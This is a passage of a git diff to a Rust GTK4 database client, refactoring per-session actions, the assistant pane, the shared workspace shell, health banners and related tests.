+
 /// Stateful, so the main menu shows the levels as radio items with the
 /// session's own ticked. The state moves only once a level applies.
 fn safe_mode(input: InputSender<SessionWindowInput>) -> gio::ActionEntry<adw::ApplicationWindow> {
     gio::ActionEntry::builder(SAFE_MODE)
         .parameter_type(Some(glib::VariantTy::STRING))
         .state(crate::ui::safe_mode::action_target(SafeModeLevel::Off).to_variant())
-        .change_state(move |_, _, target| {
-            if let Some(level) = target
-                .and_then(|target| target.str())
-                .and_then(crate::ui::safe_mode::from_action_target)
-            {
-                input.deliver(SessionWindowInput::SetSafeMode(level));
+        .change_state(move |window: &adw::ApplicationWindow, _, target| {
+            // The session is read now: a tab switched before the input is
+            // handled must not move another connection's level.
+            let key = window
+                .downcast_ref::<SessionWindow>()
+                .and_then(|window| window.front_session())
+                .map(|(key, _)| key);
+            if let (Some(key), Some(level)) = (
+                key,
+                target
+                    .and_then(|target| target.str())
+                    .and_then(crate::ui::safe_mode::from_action_target),
+            ) {
+                input.deliver(SessionWindowInput::SetSafeMode { key, level });
             }
         })
         .build()
 }
 
-/// Tick the level the session runs at, or disable the levels with no
-/// session on screen.
+/// Tick the level the session in front runs at, or disable the levels
+/// with no session.
 pub(super) fn show_safe_mode(window: &adw::ApplicationWindow, level: Option<SafeModeLevel>) {
     let Some(action) = window.lookup_action(SAFE_MODE).and_downcast::<gio::SimpleAction>() else {
         return;
@@ -94,32 +136,27 @@ fn retry_with_new_secret(input: InputSender<SessionWindowInput>) -> gio::ActionE
 }
 
 /// Enable each action on the page it means something on, so its menu
-/// item and button are insensitive elsewhere.
-pub(super) fn sync(window: &adw::ApplicationWindow, page: &SessionPage, editable: bool) {
-    let connected = matches!(page, SessionPage::Workspace { .. });
-    let failed = matches!(page, SessionPage::ConnectFailed { .. });
-    let reenter = matches!(page, SessionPage::ConnectFailed { failure, .. } if failure.reenter.is_some());
+/// item and button are insensitive elsewhere. `failed` is the failed
+/// page's failure, and whether the connect dialog can edit what failed.
+pub(super) fn sync(window: &adw::ApplicationWindow, page: SessionPage, failed: Option<(&ConnectFailure, bool)>) {
+    let shell = page == SessionPage::Shell;
+    let reenter = failed.is_some_and(|(failure, _)| failure.reenter.is_some());
     for (name, enabled) in [
-        ("disconnect", connected),
-        ("reconnect", connected),
-        ("reset-workspace-layout", connected),
+        ("disconnect", shell),
+        ("reconnect", shell),
+        ("reset-workspace-layout", shell),
         (
             "cancel-connect",
-            matches!(page, SessionPage::Connecting { .. }) || failed,
+            matches!(page, SessionPage::Connecting(_)) || failed.is_some(),
         ),
-        ("retry-connect", failed),
+        ("retry-connect", failed.is_some()),
         ("retry-with-new-secret", reenter),
-        ("edit-connection", failed && editable),
+        ("edit-connection", failed.is_some_and(|(_, editable)| editable)),
     ] {
         if let Some(action) = window.lookup_action(name).and_downcast::<gio::SimpleAction>() {
             action.set_enabled(enabled);
         }
     }
-    let level = match page {
-        SessionPage::Workspace { session, .. } => Some(session.safe_mode()),
-        _ => None,
-    };
-    show_safe_mode(window, level);
 }
 
 #[cfg(test)]
@@ -135,7 +172,7 @@ mod tests {
         let (input, mut receiver) = crate::runtime::input_queue::<SessionWindowInput>();
 
         install(&window, &input);
-        sync(&window, &SessionPage::Picker, false);
+        sync(&window, SessionPage::Picker, None);
 
         assert!(
             window
@@ -153,6 +190,26 @@ mod tests {
         assert!(matches!(receiver.try_recv(), Ok(SessionWindowInput::ExportConnections)));
     }
 
+    #[gtk4::test]
+    fn a_session_action_sends_the_session_it_names() {
+        let window = crate::test_support::OwnedWindow::new(adw::ApplicationWindow::builder().build());
+        let (input, mut receiver) = crate::runtime::input_queue::<SessionWindowInput>();
+        install(&window, &input);
+        let key = SessionKey::File("file:///srv/app.db".to_owned());
+
+        WidgetExt::activate_action(
+            &*window,
+            "win.stop-connecting",
+            Some(&crate::ui::session_target::to_variant(&key)),
+        )
+        .expect("win.stop-connecting");
+        WidgetExt::activate_action(&*window, "win.disconnect-session", Some(&"table:users".to_variant()))
+            .expect("win.disconnect-session");
+
+        assert!(matches!(receiver.try_recv(), Ok(SessionWindowInput::StopConnecting(sent)) if sent == key));
+        assert!(receiver.try_recv().is_err(), "a target naming no session was sent");
+    }
+
     #[gtk4::test]
     fn action_after_workspace_drop_does_not_panic() {
         let test = TestWindow::connected("ActionAfterDrop");
@@ -160,7 +217,7 @@ mod tests {
             .window
             .lookup_action("reopen-closed-tab")
             .expect("the workspace's reopen action");
-        let input = test.workspace().input().expect("the workspace's input");
+        let input = test.workspace().sender().expect("the workspace's input");
 
         test.window.send(SessionWindowInput::Disconnect);
         test.wait_for_page("picker");
diff --git a/linux/crates/app/src/ui/workspace/assistant.rs b/linux/crates/app/src/ui/workspace/assistant.rs
index fdca53187c..a4c788ba03 100644
--- a/linux/crates/app/src/ui/workspace/assistant.rs
+++ b/linux/crates/app/src/ui/workspace/assistant.rs
@@ -1,9 +1,9 @@
-//! The assistant's column beside the tabs: the header's toggle, the
-//! `win.show-assistant` action, and the pane's view of the tabs.
+//! The session's assistant: its own pane, which the shell's column shows
+//! while the session is in front, so a reply keeps coming while another
+//! session's tab is on screen, and what that pane may send.
 
 use std::rc::Rc;
 
-use gtk4 as gtk;
 use gtk4::glib;
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
@@ -14,21 +14,16 @@ use tablepro_storage::settings::keys;
 
 use super::tab_index::TabIndex;
 use super::workspace_persistence::WorkspaceTabs;
-use super::{Workspace, WorkspaceInput, WorkspaceModel, WorkspaceSender, WorkspaceTab, WorkspaceTabParts};
+use super::{WorkspaceInput, WorkspaceModel, WorkspaceSender, WorkspaceTab, WorkspaceTabParts};
 use crate::application::AppServices;
 use crate::runtime::DeliverInput;
 use crate::services::active_session::ActiveSession;
-use crate::ui::assistant::{AssistantAccess, AssistantRequest, Availability, PaneHooks};
+use crate::ui::assistant::{AssistantAccess, AssistantPane, AssistantRequest, Availability, PaneHooks};
 use crate::ui::handler_guard::HandlerGuard;
 
-pub(super) const SHOW_ASSISTANT: &str = "show-assistant";
-
-pub(super) struct AssistantShell {
+pub(super) struct AssistantColumn {
     access: Rc<AssistantAccess>,
-    action: gio::SimpleAction,
-    split: adw::OverlaySplitView,
-    pane: crate::ui::assistant::AssistantPane,
-    toggle: gtk::ToggleButton,
+    pane: AssistantPane,
     _watches: Vec<HandlerGuard>,
 }
 
@@ -49,41 +44,15 @@ pub(super) fn access(
     })
 }
 
-pub(super) fn install(
-    workspace: &Workspace,
-    window: &adw::ApplicationWindow,
-    parts: &WorkspaceTabParts,
-    input: &WorkspaceSender,
-) -> AssistantShell {
+/// The session's pane, bound once to its tabs and its access.
+pub(super) fn install(parts: &WorkspaceTabParts, input: &WorkspaceSender) -> AssistantColumn {
     let access = parts.assistant.clone();
-    let (tabs, index) = (parts.workspace_tabs.clone(), parts.index.clone());
-    let imp = workspace.imp();
-    let split = imp.assistant_split.get();
-    let action = gio::SimpleAction::new_stateful(SHOW_ASSISTANT, None, &false.to_variant());
-    let shown = split.downgrade();
-    let pane = imp.assistant_pane.get();
-    let focus = pane.downgrade();
-    action.connect_change_state(move |action, state| {
-        let Some(show) = state.and_then(|state| state.get::<bool>()) else {
-            return;
-        };
-        action.set_state(&show.to_variant());
-        if let Some(split) = shown.upgrade() {
-            split.set_show_sidebar(show);
-        }
-        if show && let Some(pane) = focus.upgrade() {
-            pane.focus_composer();
-        }
-    });
-    let followed = action.downgrade();
-    split.connect_show_sidebar_notify(move |split| {
-        if let Some(action) = followed.upgrade() {
-            action.set_state(&split.shows_sidebar().to_variant());
-        }
-    });
-    window.add_action(&action);
-
-    let view = imp.tab_view.downgrade();
+    let (tabs, index, view) = (
+        parts.workspace_tabs.clone(),
+        parts.index.clone(),
+        parts.tab_view.downgrade(),
+    );
+    let pane: AssistantPane = glib::Object::new();
     pane.bind(PaneHooks {
         access: access.clone(),
         editor_text: Rc::new(move || active_editor_text(&tabs, &index, &view)),
@@ -105,19 +74,14 @@ pub(super) fn install(
             .connect_changed(Some(key), move |_, _| changed.deliver(WorkspaceInput::AssistantChanged));
         watches.push(HandlerGuard::new(settings.gio(), handler));
     }
-    let toggle = imp.assistant_toggle.get();
-    let shell = AssistantShell {
+    AssistantColumn {
         access,
-        action,
-        split,
         pane,
-        toggle,
         _watches: watches,
-    };
-    shell.refresh_controls();
-    shell
+    }
 }
 
+/// The text of this session's editor tab while it is the one on screen.
 fn active_editor_text(tabs: &WorkspaceTabs, index: &TabIndex, view: &glib::WeakRef<adw::TabView>) -> Option<String> {
     let id = index.id_of(&view.upgrade()?.selected_page()?)?;
     match tabs.borrow().get(&id) {
@@ -130,17 +94,9 @@ fn active_editor_text(tabs: &WorkspaceTabs, index: &TabIndex, view: &glib::WeakR
     }
 }
 
-impl AssistantShell {
-    /// With no provider the column and its toggle go, and the key does
-    /// nothing; under Never the pane says why it is off.
-    fn refresh_controls(&self) {
-        let available = self.access.availability() != Availability::Off;
-        self.toggle.set_visible(available);
-        self.action.set_enabled(available);
-        if !available {
-            self.split.set_show_sidebar(false);
-        }
-        self.pane.refresh();
+impl AssistantColumn {
+    pub(super) fn pane(&self) -> AssistantPane {
+        self.pane.clone()
     }
 
     pub(super) fn shutdown(&self) {
@@ -150,8 +106,17 @@ impl AssistantShell {
 
 impl WorkspaceModel {
     /// The provider, a preference or the connection's policy changed.
+    /// With no provider the column and its toggle go while the session is
+    /// in front, and the key does nothing; under Never the pane says why
+    /// it is off.
     pub(super) fn refresh_assistant(&self) {
-        self.assistant.refresh_controls();
+        let available = self.assistant.access.availability() != Availability::Off;
+        if let Some(workspace) = self.this.upgrade()
+            && workspace.imp().assistant_available.replace(available) != available
+        {
+            workspace.notify_assistant_available();
+        }
+        self.assistant.pane.refresh();
         for tab in self.workspace_tabs.borrow().values() {
             if let WorkspaceTab::Editor(slot) = tab {
                 slot.editor.refresh_assistant();
@@ -159,11 +124,17 @@ impl WorkspaceModel {
         }
     }
 
+    /// An editor tab asked about a statement. It asks this session's own
+    /// pane, which comes into view while the session is in front.
     pub(super) fn on_ask_assistant(&self, request: AssistantRequest) {
         if self.assistant.access.availability() != Availability::Ready {
             return;
         }
-        self.assistant.split.set_show_sidebar(true);
+        if self.is_front()
+            && let Some(shell) = self.shell.upgrade()
+        {
+            shell.reveal_assistant();
+        }
         self.assistant.pane.run_action(request);
     }
 
diff --git a/linux/crates/app/src/ui/workspace/close_flow.rs b/linux/crates/app/src/ui/workspace/close_flow.rs
index 4b885a1523..b8181552b2 100644
--- a/linux/crates/app/src/ui/workspace/close_flow.rs
+++ b/linux/crates/app/src/ui/workspace/close_flow.rs
@@ -3,6 +3,7 @@ use std::sync::Arc;
 
 use gtk4 as gtk;
 use gtk4::glib;
+use gtk4::subclass::prelude::*;
 use libadwaita as adw;
 use libadwaita::prelude::*;
 use tablepro_core::EditorSession;
@@ -169,10 +170,9 @@ impl WorkspaceModel {
             self.retitle_tab(id);
         }
         let dirty = dirty_tabs.iter().any(|tab| tab.kind.lost_with_the_window());
-        if self.reported_dirty.replace(Some(dirty)) == Some(dirty) {
-            return;
-        }
-        if let Some(workspace) = self.this.upgrade() {
+        if let Some(workspace) = self.this.upgrade()
+            && workspace.imp().dirty.replace(dirty) != dirty
+        {
             workspace.emit_by_name::<()>("dirty-changed", &[&dirty]);
         }
     }
diff --git a/linux/crates/app/src/ui/workspace/finished_work.rs b/linux/crates/app/src/ui/workspace/finished_work.rs
index 3be85c50d7..4dc486efd7 100644
--- a/linux/crates/app/src/ui/workspace/finished_work.rs
+++ b/linux/crates/app/src/ui/workspace/finished_work.rs
@@ -32,10 +32,10 @@ impl Workspace {
         )
     }
 
-    /// The tab in front. `None` with no tab, or while the workspace is
-    /// handling input.
+    /// The tab in front, when it is this session's.
     pub(crate) fn selected_tab(&self) -> Option<Uuid> {
-        self.read(WorkspaceModel::selected_workspace_tab_id).flatten()
+        let page = self.imp().shell.upgrade()?.tab_view().selected_page()?;
+        self.tab_id(&page)
     }
 
     /// Every open tab. `None` while the workspace is handling input.
@@ -47,12 +47,6 @@ impl Workspace {
     pub(crate) fn notice_label(&self, id: Uuid) -> Option<String> {
         self.read(|model| model.notice_label(id)).flatten()
     }
-
-    /// The connection's name, as the window's title gives it.
-    pub(crate) fn connection_name(&self) -> Option<String> {
-        self.read(|model| model.context.active.metadata().map(|metadata| metadata.name))
-            .flatten()
-    }
 }
 
 impl WorkspaceModel {
@@ -83,8 +77,8 @@ impl WorkspaceModel {
             return;
         };
         self.tab_view.set_selected_page(&page);
-        if let Some(workspace) = self.this.upgrade() {
-            workspace.imp().tab_overview.set_open(false);
+        if let Some(shell) = self.shell.upgrade() {
+            shell.imp().tab_overview.set_open(false);
         }
     }
 
diff --git a/linux/crates/app/src/ui/workspace/health_banner.rs b/linux/crates/app/src/ui/workspace/health_banner.rs
index e5b72d4b64..ac7e9a0366 100644
--- a/linux/crates/app/src/ui/workspace/health_banner.rs
+++ b/linux/crates/app/src/ui/workspace/health_banner.rs
@@ -1,10 +1,14 @@
-//! The banner over the tabs while the session needs attention.
+//! The banner over the tabs while the session needs attention, and the
+//! state its row in the connection tree shows whether or not it is in
+//! front.
 
 use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
 use tablepro_core::{DriverError, SshFailure, TransportError};
 use tablepro_session::{FailureCause, MonitorSignal, ReviewedHostKey, SessionHealth};
 use tablepro_ssh::ForgetHostKeyError;
 
+use super::sidebar::SessionRowState;
 use super::{WorkspaceInput, WorkspaceModel};
 use crate::runtime::{DeliverInput, spawn_and_deliver};
 use crate::ui::host_key_failure::{HostKeyFailure, HostKeyFailureKind};
@@ -25,12 +29,22 @@ impl WorkspaceModel {
     /// refused again.
     pub(super) fn refresh_health_banner(&self, health: &SessionHealth) {
         let review = self.host_key_to_review(health);
-        if let Some(window) = self.window() {
-            super::workspace_actions::set_enabled(&window, REVIEW_HOST_KEY, review.is_some());
+        if let Some(workspace) = self.this.upgrade()
+            && workspace.imp().can_review_host_key.replace(review.is_some()) != review.is_some()
+        {
+            workspace.notify_can_review_host_key();
         }
         let title = self
             .rejection_text(health, review.as_ref())
             .or_else(|| health_banner_text(health, review.as_ref()));
+        if let Some(tree) = self.shell.upgrade().and_then(|shell| shell.tree()) {
+            let state = match (health, &title) {
+                (SessionHealth::Reconnecting { .. }, _) => SessionRowState::Busy,
+                (_, Some(title)) => SessionRowState::Trouble(title.clone()),
+                (_, None) => SessionRowState::Ready,
+            };
+            tree.set_session_state(&self.key, state);
+        }
         let Some(title) = title else {
             self.reconnect_banner.set_revealed(false);
             return;
@@ -630,7 +644,7 @@ mod tests {
     }
 
     fn has_toast(test: &TestWindow, text: &str) -> bool {
-        descendants(&test.workspace())
+        descendants(&crate::ui::workspace::tests::shell_of(&test.workspace()))
             .into_iter()
             .filter_map(|widget| widget.downcast::<gtk::Label>().ok())
             .any(|label| label.label().contains(text))
diff --git a/linux/crates/app/src/ui/workspace/imp.rs b/linux/crates/app/src/ui/workspace/imp.rs
index 66786ae7c1..0b49c662f1 100644
--- a/linux/crates/app/src/ui/workspace/imp.rs
+++ b/linux/crates/app/src/ui/workspace/imp.rs
@@ -1,4 +1,5 @@
-use std::cell::RefCell;
+use std::cell::{Cell, OnceCell, RefCell};
+use std::rc::Rc;
 use std::sync::OnceLock;
 
 use glib::subclass::Signal;
@@ -8,70 +9,17 @@ use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use libadwaita as adw;
 use libadwaita::subclass::prelude::*;
+use tablepro_core::DataModel;
+use tablepro_session::SessionKey;
 
 use super::WorkspaceModel;
+use super::tab_index::TabIndex;
 use crate::ui::assistant::AssistantPane;
-use crate::ui::export::ExportOperationsButton;
 
-#[derive(Default, gtk::CompositeTemplate)]
+#[derive(Default, gtk::CompositeTemplate, glib::Properties)]
+#[properties(wrapper_type = super::Workspace)]
 #[template(resource = "/app/tablepro/TablePro/ui/workspace.ui")]
 pub struct Workspace {
-    #[template_child]
-    pub tab_overview: TemplateChild<adw::TabOverview>,
-    #[template_child]
-    pub breakpoint_bin: TemplateChild<adw::BreakpointBin>,
-    #[template_child]
-    pub narrow_breakpoint: TemplateChild<adw::Breakpoint>,
-    #[template_child]
-    pub toast_overlay: TemplateChild<adw::ToastOverlay>,
-    #[template_child]
-    pub split_view: TemplateChild<adw::OverlaySplitView>,
-    #[template_child]
-    pub sidebar_root: TemplateChild<adw::ToolbarView>,
-    #[template_child]
-    pub sidebar_header: TemplateChild<adw::HeaderBar>,
-    #[template_child]
-    pub sidebar_title: TemplateChild<adw::WindowTitle>,
-    #[template_child]
-    pub table_search_toggle: TemplateChild<gtk::ToggleButton>,
-    #[template_child]
-    pub refresh_tables_button: TemplateChild<gtk::Button>,
-    #[template_child]
-    pub table_search_bar: TemplateChild<gtk::SearchBar>,
-    #[template_child]
-    pub table_search: TemplateChild<gtk::SearchEntry>,
-    #[template_child]
-    pub catalog_banner: TemplateChild<adw::Banner>,
-    #[template_child]
-    pub key_limit_banner: TemplateChild<adw::Banner>,
-    #[template_child]
-    pub sidebar_slot: TemplateChild<adw::Bin>,
-    #[template_child]
-    pub assistant_split: TemplateChild<adw::OverlaySplitView>,
-    #[template_child]
-    pub assistant_pane: TemplateChild<AssistantPane>,
-    #[template_child]
-    pub content_root: TemplateChild<adw::ToolbarView>,
-    #[template_child]
-    pub content_header: TemplateChild<adw::HeaderBar>,
-    #[template_child]
-    pub sidebar_toggle: TemplateChild<gtk::ToggleButton>,
-    #[template_child]
-    pub new_tab_button: TemplateChild<gtk::Button>,
-    #[template_child]
-    pub window_title: TemplateChild<adw::WindowTitle>,
-    #[template_child]
-    pub connection_icon: TemplateChild<gtk::Image>,
-    #[template_child]
-    pub assistant_toggle: TemplateChild<gtk::ToggleButton>,
-    #[template_child]
-    pub tab_button: TemplateChild<adw::TabButton>,
-    #[template_child]
-    pub export_operations_button: TemplateChild<ExportOperationsButton>,
-    #[template_child]
-    pub row_op_spinner: TemplateChild<adw::Spinner>,
-    #[template_child]
-    pub tab_bar: TemplateChild<adw::TabBar>,
     #[template_child]
     pub reconnect_banner: TemplateChild<adw::Banner>,
     #[template_child]
@@ -79,14 +27,53 @@ pub struct Workspace {
     #[template_child]
     pub layout_banner: TemplateChild<adw::Banner>,
     #[template_child]
-    pub tab_stack: TemplateChild<gtk::Stack>,
-    #[template_child]
-    pub empty_page: TemplateChild<adw::StatusPage>,
+    pub list_banners: TemplateChild<gtk::Box>,
     #[template_child]
-    pub empty_editor_button: TemplateChild<gtk::Button>,
+    pub catalog_banner: TemplateChild<adw::Banner>,
     #[template_child]
-    pub tab_view: TemplateChild<adw::TabView>,
+    pub key_limit_banner: TemplateChild<adw::Banner>,
 
+    /// The content header's title while the session is in front: the
+    /// tab it was left on, or the connection. The shell reads these
+    /// properties, never the model.
+    #[property(get)]
+    pub(super) title: RefCell<String>,
+    #[property(get)]
+    pub(super) subtitle: RefCell<String>,
+    /// The window's title in the window list and Alt+Tab.
+    #[property(get)]
+    pub(super) window_title: RefCell<String>,
+    /// The saved connection's icon, beside the title.
+    #[property(get)]
+    pub(super) icon_name: RefCell<Option<String>>,
+    #[property(get)]
+    pub(super) connection_name: RefCell<String>,
+    /// The session is parked on a host key the user can review.
+    #[property(get)]
+    pub(super) can_review_host_key: Cell<bool>,
+    /// A provider is chosen, so the assistant's column and toggle show.
+    #[property(get)]
+    pub(super) assistant_available: Cell<bool>,
+
+    pub(super) key: OnceCell<SessionKey>,
+    pub(super) data_model: OnceCell<DataModel>,
+    /// Which tab each of the session's pages shows, shared with the
+    /// model, so the shell can tell whose a page is while the model is
+    /// busy with its input.
+    pub(super) index: OnceCell<Rc<TabIndex>>,
+    /// What builds the session's tabs, shared with the model for the
+    /// same reason: the shell's new tab follows the front while the
+    /// session that came forward may be busy with its input. Let go of
+    /// at shutdown.
+    pub(super) factory: RefCell<Option<Rc<super::tab_factory::TabFactory>>>,
+    /// The session's own conversation with the assistant.
+    pub(super) assistant_pane: OnceCell<AssistantPane>,
+    /// What the window was last told closing would lose.
+    pub(super) dirty: Cell<bool>,
+    pub(super) saving: Cell<bool>,
+    /// The window's shell, which holds this workspace and its tabs.
+    pub(super) shell: glib::WeakRef<super::WorkspaceShell>,
+    pub(super) sender: OnceCell<super::WorkspaceSender>,
     pub(super) model: RefCell<Option<WorkspaceModel>>,
     /// Handles the queued input, and with it every reply the workspace
     /// is still waiting on. Aborted at shutdown, which drops them.
@@ -100,8 +87,6 @@ impl ObjectSubclass for Workspace {
     type ParentType = adw::Bin;
 
     fn class_init(klass: &mut Self::Class) {
-        ExportOperationsButton::ensure_type();
-        AssistantPane::ensure_type();
         klass.bind_template();
     }
 
@@ -110,12 +95,8 @@ impl ObjectSubclass for Workspace {
     }
 }
 
+#[glib::derived_properties]
 impl ObjectImpl for Workspace {
-    fn constructed(&self) {
-        self.parent_constructed();
-        super::shell::describe_buttons(&self.obj());
-    }
-
     fn signals() -> &'static [Signal] {
         static SIGNALS: OnceLock<Vec<Signal>> = OnceLock::new();
         SIGNALS.get_or_init(|| {
@@ -126,9 +107,6 @@ impl ObjectImpl for Workspace {
                 Signal::builder("saves-in-flight-changed")
                     .param_types([u32::static_type()])
                     .build(),
-                Signal::builder("title-changed")
-                    .param_types([String::static_type()])
-                    .build(),
                 Signal::builder("work-completed")
                     .param_types([glib::BoxedAnyObject::static_type()])
                     .build(),
@@ -140,7 +118,7 @@ impl ObjectImpl for Workspace {
     /// A workspace dropped without a teardown still stops its reads and
     /// lets go of its tabs.
     fn dispose(&self) {
-        self.obj().shutdown();
+        self.obj().shutdown(false);
     }
 }
 
diff --git a/linux/crates/app/src/ui/workspace/mod.rs b/linux/crates/app/src/ui/workspace/mod.rs
index 320558a9e2..e2846f0a4d 100644
--- a/linux/crates/app/src/ui/workspace/mod.rs
+++ b/linux/crates/app/src/ui/workspace/mod.rs
@@ -1,6 +1,9 @@
-//! One connection session's workspace: the sidebar of its tables and
-//! the tabs open on them. A workspace never changes session; a
-//! disconnect drops it and the window shows the connection picker.
+//! One connection session's workspace: the sidebar of its tables, the
+//! tabs open on them in the tab view of the window's shell, which every
+//! session of the window shares, its banners and its assistant. What the
+//! shell shows of it while it is in front are its properties. A
+//! workspace never changes session; a disconnect drops it, and the
+//! window shows the connection picker once it holds no session.
 
 mod assistant;
 mod close_flow;
@@ -12,10 +15,8 @@ mod imp;
 mod import;
 mod import_ledger;
 mod references;
-mod row_ops;
 mod saves;
 mod session_watches;
-mod shell;
 mod sidebar;
 mod status_pages;
 mod structure;
@@ -27,18 +28,20 @@ mod tab_spec;
 mod tab_title;
 mod table_naming;
 #[cfg(test)]
-mod tests;
+pub(crate) mod tests;
 mod transaction_banner;
 mod unsaved_icon;
 mod window_tabs;
 mod window_title;
 mod workspace_actions;
 mod workspace_persistence;
+mod workspace_shell;
+mod workspace_shell_imp;
 mod workspace_tab_view;
 mod workspace_tabs;
 
 use std::cell::{Cell, RefCell};
-use std::collections::{HashMap, VecDeque};
+use std::collections::HashMap;
 use std::rc::Rc;
 use std::sync::Arc;
 
@@ -56,6 +59,8 @@ use tablepro_session::{ObjectListSnapshot, Session, SessionHealth, SessionKey};
 use uuid::Uuid;
 
 use self::session_watches::SessionWatches;
+use self::tab_title::ConnectionLabel;
+pub(crate) use self::workspace_shell::WorkspaceShell;
 use super::browse_tab::BrowseTab;
 use super::editor::SqlEditor;
 use super::export::{ExportLedger, ExportLedgerInit, ExportOffer, ExportReporter};
@@ -86,6 +91,9 @@ pub(crate) struct WorkspaceInit {
     /// The window's prompts, so a tab's close and the window's never ask
     /// at once.
     pub close_guards: Rc<CloseGuards>,
+    /// The window's shell, whose tab view, header bars and sidebar the
+    /// workspace shares with the window's other sessions.
+    pub shell: WorkspaceShell,
 }
 
 pub(crate) type WorkspaceSender = InputSender<WorkspaceInput>;
@@ -97,23 +105,17 @@ pub(crate) struct WorkspaceModel {
     input: WorkspaceSender,
     this: glib::WeakRef<Workspace>,
     window: glib::WeakRef<adw::ApplicationWindow>,
+    shell: glib::WeakRef<WorkspaceShell>,
     settings: Rc<tablepro_storage::AppSettings>,
     storage: crate::storage::SharedStorage,
     tasks: tablepro_session::runtime::Tasks,
     history: crate::services::history_service::HistoryService,
     drafts: Rc<crate::workspace::DraftWriter>,
-    window_title: adw::WindowTitle,
-    sidebar_title: adw::WindowTitle,
-    /// The header bars' buttons and bindings the workspace set up, let go
-    /// of at shutdown.
-    shell: shell::ShellHandles,
-    /// Watches `HistoryService` and flips `win.show-history`. Aborted
-    /// with the workspace, whose actions it acts on.
-    history_gate: glib::JoinHandle<()>,
-    /// The window's actions this workspace added, removed with it.
-    actions: Vec<&'static str>,
-    /// The assistant's column, its toggle and what it may send.
-    assistant: assistant::AssistantShell,
+    saved_connections: Rc<crate::services::saved_connection_list::SavedConnectionList>,
+    /// The connection the tabs and the titles name.
+    label: Rc<ConnectionLabel>,
+    /// The session's assistant pane and what it may send.
+    assistant: assistant::AssistantColumn,
     sidebar: sidebar::SidebarView,
     /// The schemas the sidebar's sections are made from, which also
     /// decide whether tab titles name their schema.
@@ -124,7 +126,6 @@ pub(crate) struct WorkspaceModel {
     /// Whether every schema's list has landed once. Until then the
     /// sidebar shows the default schema's.
     all_schemas_listed: bool,
-    toast_overlay: adw::ToastOverlay,
     reconnect_banner: adw::Banner,
     transaction_banner: adw::Banner,
     /// Says the sidebar's list could not be read again, until a read
@@ -136,8 +137,6 @@ pub(crate) struct WorkspaceModel {
     /// Says the saved tabs could not be read, until Reset moves them
     /// aside.
     layout_banner: adw::Banner,
-    row_op_spinner: adw::Spinner,
-    table_search: gtk::SearchEntry,
     /// Removes a changed host key from known_hosts. `None` without ssh.
     ssh: Option<tablepro_ssh::SshServices>,
     file_revealer: Rc<dyn crate::ui::file_reveal::FileRevealer>,
@@ -147,6 +146,8 @@ pub(crate) struct WorkspaceModel {
     tab_view: adw::TabView,
     /// Which tab each page shows.
     index: Rc<tab_index::TabIndex>,
+    /// The session's hold on the shared tab view, let go of at shutdown.
+    tab_view_watch: Option<workspace_tabs::TabViewWatch>,
     /// Builds every tab the workspace opens.
     factory: Rc<tab_factory::TabFactory>,
     /// Whether tab titles name the schema, from the session's schemas.
@@ -166,8 +167,6 @@ pub(crate) struct WorkspaceModel {
     exports: Rc<ExportLedger>,
     /// The CSV imports running into this workspace's tables.
     imports: Rc<import_ledger::ImportLedger>,
-    /// Whether the window was last told there is something to lose.
-    reported_dirty: Cell<Option<bool>>,
     history_dialog: Option<HistoryDialog>,
     saved_queries_dialog: Option<Controller<super::saved_queries_dialog::SavedQueriesDialog>>,
     import_dialog: Option<Controller<super::import_dialog::ImportCsvDialog>>,
@@ -176,9 +175,6 @@ pub(crate) struct WorkspaceModel {
     driver_name: String,
     /// Writes the tab list a moment after the last change.
     workspace: Rc<workspace_persistence::WorkspacePersistence>,
-    /// Recently closed tabs for Ctrl+Shift+T. Pending edits are not
-    /// kept: the close has already cleared them.
-    closed_tabs_stack: Rc<RefCell<VecDeque<ClosedTabDescriptor>>>,
     _watches: SessionWatches,
     /// Tells the user once when editor drafts start failing to land.
     _draft_failures: tablepro_session::runtime::WatchForwarder,
@@ -243,6 +239,15 @@ fn draft_failure_watch(
     )
 }
 
+/// The connection as the session's tabs and titles name it.
+fn connection_label(key: &SessionKey, services: &AppServices, context: &SessionContext) -> Rc<ConnectionLabel> {
+    Rc::new(ConnectionLabel::new(
+        key.clone(),
+        services.saved_connections.clone(),
+        context.active.clone(),
+    ))
+}
+
 /// What the tab view's parts are built from.
 struct TabsInit<'a> {
     key: &'a SessionKey,
@@ -251,6 +256,7 @@ struct TabsInit<'a> {
     context: &'a Rc<SessionContext>,
     drafts: &'a Rc<crate::workspace::DraftWriter>,
     exports: &'a Rc<ExportLedger>,
+    label: &'a Rc<ConnectionLabel>,
 }
 
 struct WorkspaceTabParts {
@@ -262,13 +268,15 @@ struct WorkspaceTabParts {
     naming: Rc<Cell<table_naming::TableNaming>>,
     factory: Rc<tab_factory::TabFactory>,
     workspace_handle: WorkspaceHandle,
-    /// What the window's assistant may send, which editor tabs ask.
+    /// What the session's assistant may send, which editor tabs ask.
     assistant: Rc<crate::ui::assistant::AssistantAccess>,
+    tab_view_watch: workspace_tabs::TabViewWatch,
 }
 
-/// Snapshot of a tab the user just closed, retained for Ctrl+Shift+T
-/// reopen, so a reopen builds its tab the way a restore does, through
-/// a `TabSpec`.
+/// Snapshot of a tab the user just closed, which the shell keeps for
+/// Ctrl+Shift+T, so a reopen builds its tab the way a restore does,
+/// through a `TabSpec`. Pending edits are not kept: the close has
+/// already cleared them.
 #[derive(Debug, Clone)]
 pub enum ClosedTabDescriptor {
     Editor {
@@ -421,20 +429,6 @@ impl WorkspaceTab {
     }
 }
 
-/// Give `page` its title and tooltip. libadwaita treats an empty tooltip
-/// as none, which clears the last one. The tooltip says what the unsaved
-/// icon shows, since a screen reader reads a tab's tooltip and not its
-/// icon.
-pub(crate) fn apply_tab_title(page: &adw::TabPage, title: &tab_title::TabTitle) {
-    page.set_title(&title.label);
-    let unsaved = page.icon().is_some().then(|| crate::i18n::gettext("Unsaved changes"));
-    let lines: Vec<&str> = [title.tooltip.as_deref(), unsaved.as_deref()]
-        .into_iter()
-        .flatten()
-        .collect();
-    page.set_tooltip(&lines.join("\n"));
-}
-
 #[derive(Debug, Clone, Copy)]
 pub enum OpenMode {
     /// Plain sidebar click: activate the table's tab, or append one.
@@ -455,6 +449,8 @@ fn close_if_presented(dialog: &adw::Dialog) {
 #[derive(Debug)]
 pub(crate) enum WorkspaceInput {
     HealthChanged(SessionHealth),
+    /// Another session's tab came into the bar, or the last one left it.
+    SharesBar,
     /// The banner's Review Key, for a session parked on a host key.
     ReviewHostKey,
     HostKeyReviewed {
